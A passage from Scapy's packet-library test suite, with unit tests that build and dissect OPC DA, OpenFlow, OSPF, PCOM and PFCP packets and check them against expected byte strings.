OpcDaHeaderN(fragLenght=100,authLenght=0,callID=21)\ / OpcDaRequest(allocHint=60,contextId=6,opNum=5,\ uuid=b'0000c41d-0a9c-0000-d702-8c761299f7bf',subData=RequestSubData(\ versionMajor=0,versionMinor=0,subdata=''))) elem2 = raw(opcdaRequestPacket_Build) assert( elem1 == elem2 ) = OpcDaRequestLE opcdaRequestLEPacket_Dissect = hex_bytes(b'050000831000000064000000150000003c000000060005001dc400009c0a0000d7028c761299f7bf000000000000000000000000512d4e34ab431449a2cf7784b21b3ea1') elem1 = raw(OpcDaMessage(opcdaRequestLEPacket_Dissect)) opcdaRequestLEPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=0, \ pfc_flags = 131,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ reservedForFutur=0)/ OpcDaHeaderNLE(fragLenght=100,authLenght=0,callID=21)\ / OpcDaRequestLE (allocHint=60,contextId=6,opNum=5,\ uuid=b'0000c41d-0a9c-0000-d702-8c761299f7bf',\ subData=RequestSubDataLE(versionMajor=0,versionMinor=0,flags=0,reserved=0,\ subUuid=b'344e2d51-43ab-4914-a2cf-7784b21b3ea1',subdata=''))) elem2 = raw(opcdaRequestLEPacket_Build) assert( elem1 == elem2 ) + Test Ping Packet = OpcDaPing opcdaPingPacket_Dissect = hex_bytes(b'0500010310000000640000001500000000') elem1 = raw(OpcDaMessage(opcdaPingPacket_Dissect)) opcdaPingPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=1, \ pfc_flags = 3,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ reservedForFutur=0)/ OpcDaHeaderNLE(fragLenght=100,authLenght=0,callID=21)\ / OpcDaPing()) / '\x00' elem2 = raw(opcdaPingPacket_Build) assert( elem1 == elem2 ) + Test Response Packets = OpcDaResponse opcDaResponsePacket_Dissect = hex_bytes(b'050002030000000000d4000000000015000000bc00060000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030') elem1 = raw(OpcDaMessage(opcDaResponsePacket_Dissect)) opcDaResponsePacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=2, \ pfc_flags = 3,integerRepresentation='bigEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ reservedForFutur=0)/ OpcDaHeaderN(fragLenght=212,authLenght=0,callID=21)\ / OpcDaResponse(allocHint=188,contextId=6,cancelCount=0,reserved=0,\ subData=b'0'*(212-32))) elem2 = raw(opcDaResponsePacket_Build) assert( elem1 == elem2 ) = OpcDaResponseLE opcDaResponseLEPacket_Dissect = hex_bytes(b'0500020310000000d400000015000000bc00000006000000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030') elem1 = raw(OpcDaMessage(opcDaResponseLEPacket_Dissect)) opcDaResponseLEPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=2, \ pfc_flags = 3,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ reservedForFutur=0)/ OpcDaHeaderNLE(fragLenght=212,authLenght=0,callID=21)\ / OpcDaResponseLE(allocHint=188,contextId=6,cancelCount=0,reserved=0,\ subData=b'0'*(212-32))) elem2 = raw(opcDaResponseLEPacket_Build) assert( elem1 == elem2 ) # + Test Fault Packet # No example yet # OpcDaFault # OpcDaFaultLE # + Test Working # No example yet # OpcDaWorking # + Test No Call Packet # No example yet # OpcDaNoCall # OpcDaNoCallLE # + Test Reject Packet # No example yet # OpcDaReject # OpcDaRejectLE # + Test Ack Packet # No example yet # OpcDaAck # + Test Cl_cancel Packet # No example yet # OpcDaCl_cancel # OpcDaCl_cancelLE # + Test Fack Packet # No example yet # OpcDaFack # + Test Cancel ack Packet # No example yet # OpcDaCancel_ack # OpcDaCancel_ackLE # + Test Bind Packet # OpcDaBind # OpcDaBindLE # + Test Bind ack Packet # OpcDaBind_ack # + Test Bind no ack Packet # No example yet # OpcDaBind_nack + Test Alter_context = OpcDaAlter_context opcDaAlter_contextPacket_Dissect = hex_bytes(b'05000e0300000000004800000000001716d016d00008294500000001070001000101000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000') elem1 = raw(OpcDaMessage(opcDaAlter_contextPacket_Dissect)) ocDaAlter_contextPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=14, \ pfc_flags = 3,integerRepresentation='bigEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ reservedForFutur=0)/ OpcDaHeaderN(fragLenght=72,authLenght=0,callID=23)\ / OpcDaAlter_context(maxXmitFrag=5840,maxRecvtFrag=5840,\ assocGroupId=534853)) \ / '\x00\x00\x00\x01\x07\x00\x01\x00\x01\x01\x00\x00\x00\x00\x00\x00\xc0'\ '\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9'\ '\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00' elem2 = raw(ocDaAlter_contextPacket_Build) = OpcDaAlter_contextLE opcDaAlter_contextLEPacket_Dissect = hex_bytes(b'05000e03100000004800000017000000d016d0164529080001000000070001000101000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000') elem1 = raw(OpcDaMessage(opcDaAlter_contextLEPacket_Dissect)) ocDaAlter_contextLEPacket_Build = OpcDaMessage(OpcDaMessage= \ OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=14, \ pfc_flags = 3,integerRepresentation='littleEndian',\ characterRepresentation='ascii',floatingPointRepresentation='ieee',\ reservedForFutur=0)/ OpcDaHeaderNLE(fragLenght=72,authLenght=0,callID=23)\ / OpcDaAlter_contextLE(maxXmitFrag=5840,maxRecvtFrag=5840,\ assocGroupId=534853)) \ / '\x01\x00\x00\x00\x07\x00\x01\x00\x01\x01\x00\x00\x00\x00\x00\x00\xc0'\ '\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9'\ '\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00' elem2 = raw(ocDaAlter_contextLEPacket_Build) + Test Alter_context_Resp = OpcDaAlter_Context_Resp = OpcDaAlter_Context_RespLE # + Test Shutdown Packet # No example yet # OpcDaShutdown # + Test Co_cancel Packet # No example yet # OpcDaCo_cancel # OpcDaCo_cancelLE # + Test Orphaned Packet # No example yet # OpcDaOrphaned scapy-2.4.4/test/contrib/openflow.uts000077500000000000000000000075051372370053500176640ustar00rootroot00000000000000% Tests for OpenFlow v1.0 with Scapy + Preparation = Be sure we have loaded OpenFlow v1 load_contrib("openflow") + Usual OFv1.0 messages = OFPTHello(), simple hello message ofm = OFPTHello() raw(ofm) == b'\x01\x00\x00\x08\x00\x00\x00\x00' = OFPTEchoRequest(), echo request ofm = OFPTEchoRequest() raw(ofm) == b'\x01\x02\x00\x08\x00\x00\x00\x00' = OFPMatch(), check wildcard completion ofm = OFPMatch(in_port=1, nw_tos=8) ofm = OFPMatch(raw(ofm)) assert(ofm.wildcards1 == 0x1) ofm.wildcards2 == 0xee = OpenFlow(), generic method test with OFPTEchoRequest() ofm = OFPTEchoRequest() s = raw(ofm) isinstance(OpenFlow(s), OFPTEchoRequest) = OFPTFlowMod(), check codes and defaults values ofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_port='CONTROLLER', flags='CHECK_OVERLAP+EMERG') assert(ofm.cmd == 3) assert(ofm.buffer_id == 0xffffffff) assert(ofm.out_port == 0xfffd) ofm.flags == 6 + Complex OFv1.0 messages = OFPTFlowMod(), complex flow_mod mtc = OFPMatch(dl_vlan=10, nw_src='192.168.42.0', nw_src_mask=8) act1 = OFPATSetNwSrc(nw_addr='192.168.42.1') act2 = OFPATOutput(port='CONTROLLER') act3 = OFPATSetDlSrc(dl_addr='1a:d5:cb:4e:3c:64') ofm = OFPTFlowMod(priority=1000, match=mtc, flags='CHECK_OVERLAP', actions=[act1,act2,act3]) raw(ofm) s = b'\x01\x0e\x00h\x00\x00\x00\x00\x00?\xc8\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x08\x00\x00\x00\x00\x00\xc0\xa8*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xe8\xff\xff\xff\xff\xff\xff\x00\x02\x00\x06\x00\x08\xc0\xa8*\x01\x00\x00\x00\x08\xff\xfd\xff\xff\x00\x04\x00\x10\x1a\xd5\xcbN\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\n\x12\x01\x00\x00\x00(\nK\x00\xfe\nK\x00\x01K\x01\x00\x01\xff\xf6\x00\x03\x00\x01\x00\x04\x00\x00\x00\x01' = OSPF - answers a = OSPF_Hdr(area="1.1.1.1")/OSPF_LSAck(lsaheaders=[OSPF_LSA_Hdr(type=1, seq=0x80000003)]) b = OSPF_Hdr(area="1.1.1.1")/OSPF_LSUpd(lsalist=[OSPF_Router_LSA(type=1, seq=0x80000003)]) assert a.answers(b) a = OSPF_Hdr(raw(a)) b = OSPF_Hdr(raw(b)) assert a.answers(b) = OSPFv3 - build pkt = Ether(dst="01:00:5e:00:00:05", src="ca:11:09:b3:00:1c")/IPv6(dst="::1", src="fe80::160c:12aa:fe7e:cd28")/OSPFv3_Hdr(src="75.1.3.1")/\ OSPFv3_Hello(options=0x12, router="10.75.0.254", backup="10.75.0.1", neighbors=["75.1.0.1"]) assert raw(pkt) == b'\x01\x00^\x00\x00\x05\xca\x11\t\xb3\x00\x1c\x86\xdd`\x00\x00\x00\x00(Y@\xfe\x80\x00\x00\x00\x00\x00\x00\x16\x0c\x12\xaa\xfe~\xcd(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x01\x00(K\x01\x03\x01\x00\x00\x00\x00Y\x98\x00\x00\x00\x00\x00\x00\x01\x00\x00\x12\x00\n\x00(\nK\x00\xfe\nK\x00\x01K\x01\x00\x01' = OSPFv2 Opaque lsa data = b'\x01\x00^\x00\x00\x05\x00\x90\x92\x9d\x94\x01\x08\x00E\xc0\x00\xb4?\x99\x00\x00\x01Y\xc6\x91\xd2\x00\x00\x01\xe0\x00\x00\x05\x02\x04\x00\xa0\x11\x03\x03\x03\x00\x00\x00d9\x9f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01 \n\x01\x00\x00\x00\x11\x03\x03\x03\x80\x00\x00\x1f\xab\xd9\x00\x84\x00\x01\x00\x04\x11\x03\x03\x03\x00\x02\x00d\x00\x01\x00\x01\x02\x00\x00\x00\x00\x02\x00\x04\xd2\x00\x00\x02\x00\x03\x00\x04\xd2\x00\x00\x01\x00\x04\x00\x04\xd2\x00\x00\x02\x00\x05\x00\x04\x00\x00\x03\xe8\x00\x06\x00\x04I\x98\x96\x80\x00\x07\x00\x04I\x98\x96\x80\x00\x08\x00 I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80\x00\t\x00\x04\x00\x00\x00\x00\x92\xe6\xb6:' p = Ether(data) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].age == 1) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].type == 10) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].id == '1.0.0.0') assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].adrouter == '17.3.3.3') assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].seq == 0x8000001f) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].chksum == 0xabd9) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].len == 132) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].opaqueid() == 0) assert (p[OSPF_LSUpd][OSPF_Area_Scope_Opaque_LSA].opaquetype() == 1) opaque_data=b'\x00\x01\x00\x04\x11\x03\x03\x03\x00\x02\x00d\x00\x01\x00\x01\x02\x00\x00\x00\x00\x02\x00\x04\xd2\x00\x00\x02\x00\x03\x00\x04\xd2\x00\x00\x01\x00\x04\x00\x04\xd2\x00\x00\x02\x00\x05\x00\x04\x00\x00\x03\xe8\x00\x06\x00\x04I\x98\x96\x80\x00\x07\x00\x04I\x98\x96\x80\x00\x08\x00 I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80I\x18\x96\x80\x00\t\x00\x04\x00\x00\x00\x00' p = OSPF_Link_Scope_Opaque_LSA(seq=0x80000003,data=opaque_data) assert (p.type == 9) assert (p.seq == 0x80000003) assert (len(p) == 132) p = OSPF_Area_Scope_Opaque_LSA(seq=0x80000004,data=opaque_data) assert (p.type == 10) assert (p.seq == 0x80000004) assert (len(p) == 132) p = OSPF_AS_Scope_Opaque_LSA(seq=0x80000005,data=opaque_data) assert (p.type == 11) assert (p.seq == 0x80000005) assert (len(p) == 132) scapy-2.4.4/test/contrib/pcom.uts000077500000000000000000000054051372370053500167660ustar00rootroot00000000000000% PCOM tests + Syntax check = Import the pcom layer from scapy.contrib.scada.pcom import * + Test PCOM/TCP = PCOM/TCP Default values raw(PCOMRequest())[2:] == b'\x65\x00\x00\x00' raw(PCOMResponse())[2:] == b'\x65\x00\x00\x00' = PCOM/TCP Len r = b'\x65\x00\x04\x00\x00\x00\x00\x00' raw(PCOMRequest() / b'\x00\x00\x00\x00')[2:] == r r = b'\x65\x00\x04\x00\x00\x00\x00\x00' raw(PCOMResponse() / b'\x00\x00\x00\x00')[2:] == r = PCOM/TCP Guess Payload Class assert(isinstance(PCOMRequest(b'\x00\x00\x65\x00\x01\x00\x00\x00').payload, PCOMAsciiRequest)) assert(isinstance(PCOMResponse(b'\x00\x00\x65\x00\x01\x00\x00\x00').payload, PCOMAsciiResponse)) assert(isinstance(PCOMRequest(b'\x00\x00\x66\x00\x01\x00\x00\x00').payload, PCOMBinaryRequest)) assert(isinstance(PCOMResponse(b'\x00\x00\x66\x00\x01\x00\x00\x00').payload, PCOMBinaryResponse)) + Test PCOM/Ascii = PCOM/ASCII Default values r = b'\x65\x00\x06\x00\x2f\x30\x30\x36\x30\x0d' raw(PCOMRequest() / PCOMAsciiRequest())[2:] == r r = b'\x65\x00\x07\x00\x2f\x41\x30\x30\x36\x30\x0d' raw(PCOMResponse() / PCOMAsciiResponse())[2:] == r = PCOM/ASCII Checksum r = b'\x65\x00\x08\x00\x2f\x30\x30\x49\x44\x45\x44\x0d' raw(PCOMRequest() / PCOMAsciiRequest(unitId='00',command='ID'))[2:] == r r = b'\x65\x00\x09\x00\x2f\x41\x30\x30\x49\x44\x45\x44\x0d' raw(PCOMResponse() / PCOMAsciiResponse(unitId='00',command='ID'))[2:] == r = PCOM/ASCII Known Codes f = PCOMAsciiCommandField('command', '', length_from= None) assert(f.i2repr(None, 'CCS') == 'Send Stop Command \'CCS\'') assert(f.i2repr(None, 'CC') == 'Reply of Admin Commands (CC*) \'CC\'') + Test PCOM/Binary = PCOM/Binary Default values r = b'\x66\x00\x1b\x00\x2f\x5f\x4f\x50\x4c\x43\x00\xfe\x01\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x45\xfd\x00\x00\x5c' raw(PCOMRequest(mode=0x66) / PCOMBinaryRequest())[2:] == r r = b'\x66\x00\x1b\x00\x2f\x5f\x4f\x50\x4c\x43\xfe\x00\x01\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x00\x00\x00\x45\xfd\x00\x00\x5c' raw(PCOMResponse(mode=0x66) / PCOMBinaryResponse())[2:] == r = PCOM/Binary Checksum data = b'\x01\x00\x01\x01' r = b'\x66\x00\x1f\x00\x2f\x5f\x4f\x50\x4c\x43\x00\xfe\x01\x01\x00\x00\x4d\x00\ \x00\x00\x00\x00\x00\x01\x04\x00\xf2\xfc\x01\x00\x01\x01\xfd\xff\x5c' raw(PCOMRequest(mode=0x66) / PCOMBinaryRequest(command=0x4d,reserved3=0x01, commandSpecific='\x00\x00\x00\x00\x00\x01', len=4, data= data))[2:] == r r = b'\x66\x00\x1f\x00\x2f\x5f\x4f\x50\x4c\x43\xfe\x00\x01\x01\x00\x00\x4d\x00\ \x00\x00\x00\x00\x00\x01\x04\x00\xf2\xfc\x01\x00\x01\x01\xfd\xff\x5c' raw(PCOMResponse(mode=0x66) / PCOMBinaryResponse(command=0x4d,reserved3=0x01, commandSpecific='\x00\x00\x00\x00\x00\x01', len=4, data= data))[2:] == r = PCOM/Binary Known Codes f = PCOMBinaryCommandField('command', None) assert(f.i2repr(None, 0x4d) == 'Read Operands Request - 0x4d') scapy-2.4.4/test/contrib/pfcp.uts000066400000000000000000000762451372370053500167670ustar00rootroot00000000000000% PFCP tests # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('pfcp')" -t test/contrib/pfcp.uts + Build packets & dissect = Verify IEs import scapy.contrib.pfcp as pfcp_mod skip_IEs = [ IE_Base, IE_Compound ] for name, cls in pfcp_mod.__dict__.items(): if name.startswith("IE_") and type(cls) == Packet_metaclass and cls not in skip_IEs: print("testing %s" % name) pkt = cls() bs = bytes(pkt) restored = cls(bs) assert bytes(restored) == bs # TODO: also test packet field equality = Verify PCAPs ~ pcaps # the following can be useful while adding more IE types # (e.g. updating for a newer version of the spec) def command(pkt): f = [] for fn, fv in sorted(six.iteritems(pkt.fields), key=lambda item: item[0]): if fn in ("length", "message_type"): continue if fn == "ietype" and not isinstance(pkt, IE_EnterpriseSpecific) and \ not isinstance(pkt, IE_NotImplemented): continue if fn.startswith("num_") or fn.endswith("_length"): continue if fv is None: continue fld = pkt.get_field(fn) if isinstance(fld, ConditionalField) and not fld._evalcond(pkt): continue # if fv == fld.default: # continue if isinstance(fv, (list, dict, set)) and len(fv) == 0: continue if isinstance(fv, Packet): fv = command(fv) elif fld.islist and fld.holds_packets and isinstance(fv, list): fv = "[%s]" % ",".join(map(command, fv)) elif isinstance(fld, FlagsField): fv = int(fv) else: fv = repr(fv) f.append("%s=%s" % (fn, fv)) c = "%s(%s)" % (pkt.__class__.__name__, ", ".join(f)) if not isinstance(pkt.payload, NoPayload): pc = command(pkt.payload) if pc: c += "/" + pc return c broken_ies = set([]) broken_ie_types = set([ cls.ie_type for cls in broken_ies ]) ignore = set([]) def find_raw_or_not_implemented(pkt, prefix=""): if prefix in ignore: return False, False if hasattr(pkt, "IE_list"): prev = None found_any = False for n, ie in enumerate(pkt.IE_list, 1): if type(ie) in broken_ies: return False, False name = "%s-%d-%s" % (prefix, n, type(ie).__name__) found, leaf = find_raw_or_not_implemented(ie, prefix=name) if found: found_any = True if found and leaf: print("gotcha: %s %r" % (prefix, ie)) bs = b"" if prev is not None: bs = bytes(prev) bs += bytes(ie) if prev is not None: prev.show2() ie.show2() print("%s -- bad val: %s" % (prefix, bytes_hex(bs).decode())) if len(bs) > 4: l = bs[2] * 256 + bs[3] if len(bs) >= l + 4: print("bad val (length-limited): %s" % bytes_hex(bs[:l + 4]).decode()) print("bad val (short): %s" % bytes_hex(bytes(ie)).decode()) prev = ie return found_any, False if isinstance(pkt, Raw): bs = bytes(pkt) if len(bs) > 4: ie_type = bs[0] * 256 + bs[1] if ie_type in broken_ie_types: return False, True return True, True if isinstance(pkt, Padding) or isinstance(pkt, IE_NotImplemented): return True, True return False, True def find_mismatching_command(pkt, prefix=""): c = command(pkt) if hasattr(pkt, "IE_list"): for n, ie in enumerate(pkt.IE_list, 1): name = "%s-%d-%s" % (prefix, n, type(ie).__name__) find_mismatching_command(ie, prefix=name) if bytes(eval(c)) != bytes(pkt): print(prefix) print("ORIG: %s" % bytes_hex(bytes(pkt))) print("EVAL: %s" % bytes_hex(bytes(eval(c)))) raise AssertionError("bad command: %s" % c) for n, pkt in enumerate(rdpcap("test/pcaps/pfcp.pcap"), 1): if PFCP in pkt: # if IE_DLBufferingSuggestedPacketCount in pkt: # continue pkt0 = pkt[PFCP] if IE_NotImplemented in pkt0 or Raw in pkt0 or IE_NotImplemented in pkt0 or Padding in pkt0: found, leaf = find_raw_or_not_implemented(pkt, prefix=str(n)) if not found: # ignored continue pkt0.show2() raise AssertionError("IE_NotImplemented / Raw / Padding detected") bs = bytes(pkt0) pkt1 = PFCP(bs) # TODO: diff show2() result c0 = command(pkt0) c1 = command(pkt1) pkt2 = eval(c1) c2 = command(pkt2) if bytes(pkt2) != bs: find_mismatching_command(pkt0, prefix=str(n)) print(bytes_hex(bytes(pkt2))) print(bytes_hex(bs)) raise AssertionError("bytes(pkt2) != bs") if bs != pkt0.original: print(bytes_hex(bs)) print(bytes_hex(pkt0.original)) raise AssertionError("bs != pkt0.original") if bytes(pkt1) != bs: print(bytes_hex(bytes(pkt1))) print(bytes_hex(bs)) raise AssertionError("bytes(pkt1) != bs") if c0 != c1: print("COMMAND MISMATCH:\n----\n%s\n----\n%s\n\n" % (c0, c1)) pkt0.show2() pkt1.show2() print(bytes_hex(bytes(pkt0))) print("packet index: %d\n" % n) raise AssertionError("c0 != c1") if c0 != c2: print("EVAL COMMAND MISMATCH:\n----\n%s\n----\n%s\n\n" % (c0, c2)) pkt0.show2() pkt2.show2() print(bytes_hex(bytes(pkt0))) print("packet index: %d\n" % n) raise AssertionError("c0 != c2") = Build and dissect PFCP Association Setup Request pfcpASReqBytes = hex_bytes("200500160000010000600004e1a47d08003c0006020465726777") pfcpASReq = PFCP(version=1, S=0, seq=1) / \ PFCPAssociationSetupRequest(IE_list=[ IE_RecoveryTimeStamp(timestamp=3785653512), IE_NodeId(id_type="FQDN", id="ergw") ]) # print("%r" % bytes(pfcpASReq)) # print("%r" % pfcpASReqBytes) assert bytes(pfcpASReq) == pfcpASReqBytes pfcpASReq = PFCP(pfcpASReqBytes) assert pfcpASReq.version == 1 assert pfcpASReq.MP == 0 assert pfcpASReq.S == 0 assert pfcpASReq.message_type == 5 assert pfcpASReq.length == 22 ies = pfcpASReq[PFCPAssociationSetupRequest].IE_list assert isinstance(ies[0], IE_RecoveryTimeStamp) assert ies[0].ietype == 96 assert ies[0].length == 4 assert ies[0].timestamp == 3785653512 assert isinstance(ies[1], IE_NodeId) assert ies[1].ietype == 60 assert ies[1].length == 6 assert ies[1].id_type == 2 assert ies[1].id == b"ergw" = Build and dissect PFCP Association Setup Response pfcpASRespBytes = hex_bytes("2006008c00000100001300010100600004e1a47af9002b00020001007400092980ac1201020263708002006448f9767070207631392e30382e312d3339377e673465333431343066612d6469727479206275696c7420627920726f6f74206f6e206275696c646b697473616e64626f7820617420576564204465632031312031353a30323a3535205554432032303139") pfcpASResp = PFCP(version=1, S=0, seq=1) / \ PFCPAssociationSetupResponse(IE_list=[ IE_Cause(cause="Request accepted"), IE_RecoveryTimeStamp(timestamp=3785652985), IE_UPFunctionFeatures( TREU=0, HEEU=0, PFDM=0, FTUP=0, TRST=0, DLBD=0, DDND=0, BUCP=0, spare=0, PFDE=0, FRRT=0, TRACE=0, QUOAC=0, UDBC=0, PDIU=0, EMPU=1), IE_UserPlaneIPResourceInformation( ASSOSI=0, ASSONI=1, TEIDRI=2, V6=0, V4=1, teid_range=0x80, ipv4="172.18.1.2", network_instance="cp"), IE_EnterpriseSpecific( ietype=32770, enterprise_id=18681, data="vpp v19.08.1-397~g4e34140fa-dirty built by root on buildkitsandbox at Wed Dec 11 15:02:55 UTC 2019") ]) pfcpASResp.show2() assert bytes(pfcpASResp) == pfcpASRespBytes pfcpASResp = PFCP(pfcpASRespBytes) assert pfcpASResp.version == 1 assert pfcpASResp.MP == 0 assert pfcpASResp.S == 0 assert pfcpASResp.message_type == 6 assert pfcpASResp.length == 140 ies = pfcpASResp[PFCPAssociationSetupResponse].IE_list assert isinstance(ies[0], IE_Cause) assert ies[0].ietype == 19 assert ies[0].length == 1 assert ies[0].cause == 1 assert isinstance(ies[1], IE_RecoveryTimeStamp) assert ies[1].ietype == 96 assert ies[1].length == 4 assert ies[1].timestamp == 3785652985 assert isinstance(ies[2], IE_UPFunctionFeatures) assert ies[2].ietype == 43 assert ies[2].length == 2 assert ies[2].TREU == 0 assert ies[2].HEEU == 0 assert ies[2].PFDM == 0 assert ies[2].FTUP == 0 assert ies[2].TRST == 0 assert ies[2].DLBD == 0 assert ies[2].DDND == 0 assert ies[2].BUCP == 0 assert ies[2].spare == 0 assert ies[2].PFDE == 0 assert ies[2].FRRT == 0 assert ies[2].TRACE == 0 assert ies[2].QUOAC == 0 assert ies[2].UDBC == 0 assert ies[2].PDIU == 0 assert ies[2].EMPU == 1 assert isinstance(ies[3], IE_UserPlaneIPResourceInformation) assert ies[3].ASSOSI == 0 assert ies[3].ASSONI == 1 assert ies[3].TEIDRI == 2 assert ies[3].V6 == 0 assert ies[3].V4 == 1 assert ies[3].teid_range == 0x80 assert ies[3].ipv4 == "172.18.1.2" assert ies[3].network_instance == b"cp" assert isinstance(ies[4], IE_EnterpriseSpecific) assert ies[4].ietype == 32770 assert ies[4].enterprise_id == 18681 assert ies[4].data == b"vpp v19.08.1-397~g4e34140fa-dirty built by root on buildkitsandbox at Wed Dec 11 15:02:55 UTC 2019" assert pfcpASResp.answers(pfcpASReq) # = Build and dissect PFCP Session Establishment Request pfcpSEReq1Bytes = hex_bytes("2132011300000000000000000000020000030021002c000102006c00040000000200040010002a00010000160007066163636573730003000d002c000101006c00040000000100010038006c000400000002005f000100000200190015000901104c9033ac120102001600030263700014000103003800020002001d00040000006400010057006c000400000001000200350016000706616363657373001700210100001d7065726d6974206f75742069702066726f6d20616e7920746f20616e790014000100003800020001001d00040000fde800510004000000010006001b003e000104002500021000004a00040000003c00510004000000010039000d02ffde7210bf97810aac120101003c0006020465726777") pfcpSEReq1 = PFCP(version=1, S=1, seq=2, seid=0, spare_oct=0) / \ PFCPSessionEstablishmentRequest(IE_list=[ IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=2), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="Access"), IE_NetworkInstance(instance="access"), ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(DROP=1), IE_FAR_Id(id=1) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=2), IE_OuterHeaderRemoval(header="GTP-U/UDP/IPv4"), IE_PDI(IE_list=[ IE_FTEID(V4=1, TEID=0x104c9033, ipv4="172.18.1.2"), IE_NetworkInstance(instance="cp"), IE_SourceInterface(interface="CP-function"), ]), IE_PDR_Id(id=2), IE_Precedence(precedence=100) ]), IE_CreatePDR(IE_list=[ IE_FAR_Id(id=1), IE_PDI(IE_list=[ IE_NetworkInstance(instance="access"), IE_SDF_Filter(FD=1, flow_description="permit out ip from any to any"), IE_SourceInterface(interface="Access"), ]), IE_PDR_Id(id=1), IE_Precedence(precedence=65000), IE_URR_Id(id=1) ]), IE_CreateURR(IE_list=[ IE_MeasurementMethod(EVENT=1), IE_ReportingTriggers(start_of_traffic=1), IE_TimeQuota(quota=60), IE_URR_Id(id=1) ]), IE_FSEID(v4=1, seid=0xffde7210bf97810a, ipv4="172.18.1.1"), IE_NodeId(id_type="FQDN", id="ergw") ]) assert bytes(pfcpSEReq1) == pfcpSEReq1Bytes assert bytes(PFCP(pfcpSEReq1Bytes)) == pfcpSEReq1Bytes pfcpSEReq2Bytes = hex_bytes("213202ba00000000000000000000080000030037002c000102006c00040000000400040026002a000102001600040373676900260015020012687474703a2f2f6578616d706c652e636f6d0003001e002c000102006c0004000000020004000d002a000102001600040373676900030021002c000102006c00040000000300040010002a000100001600070661636365737300030021002c000102006c00040000000100040010002a00010000160007066163636573730001006d006c0004000000040002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000100005d0005020ac00000003800020004001d00040000006400510004000000020001006d006c0004000000020002004b00160007066163636573730017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000100005d0005020ac00000003800020002001d0004000000c800510004000000010001006a006c0004000000030002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3420746f2061737369676e65640014000102005d0005060ac00000003800020003001d00040000006400510004000000020001006a006c0004000000010002004800160004037367690017002e0100002a7065726d6974206f75742069702066726f6d203139382e31392e36352e3220746f2061737369676e65640014000102005d0005060ac00000003800020001001d0004000000c8005100040000000100060013003e000102002500020000005100040000000200060013003e00010200250002000000510004000000010039000d02ffde7210d971c146ac120101003c0006020465726777") pfcpSEReq2 = PFCP(seq=8) / PFCPSessionEstablishmentRequest(IE_list=[ IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), IE_FAR_Id(id=4), IE_ForwardingParameters(IE_list=[ IE_DestinationInterface(interface="SGi-LAN/N6-LAN"), IE_NetworkInstance(instance="sgi"), IE_RedirectInformation(type="URL", address="http://example.com"), ]) ]), IE_CreateFAR(IE_list=[ IE_ApplyAction(FORW=1), 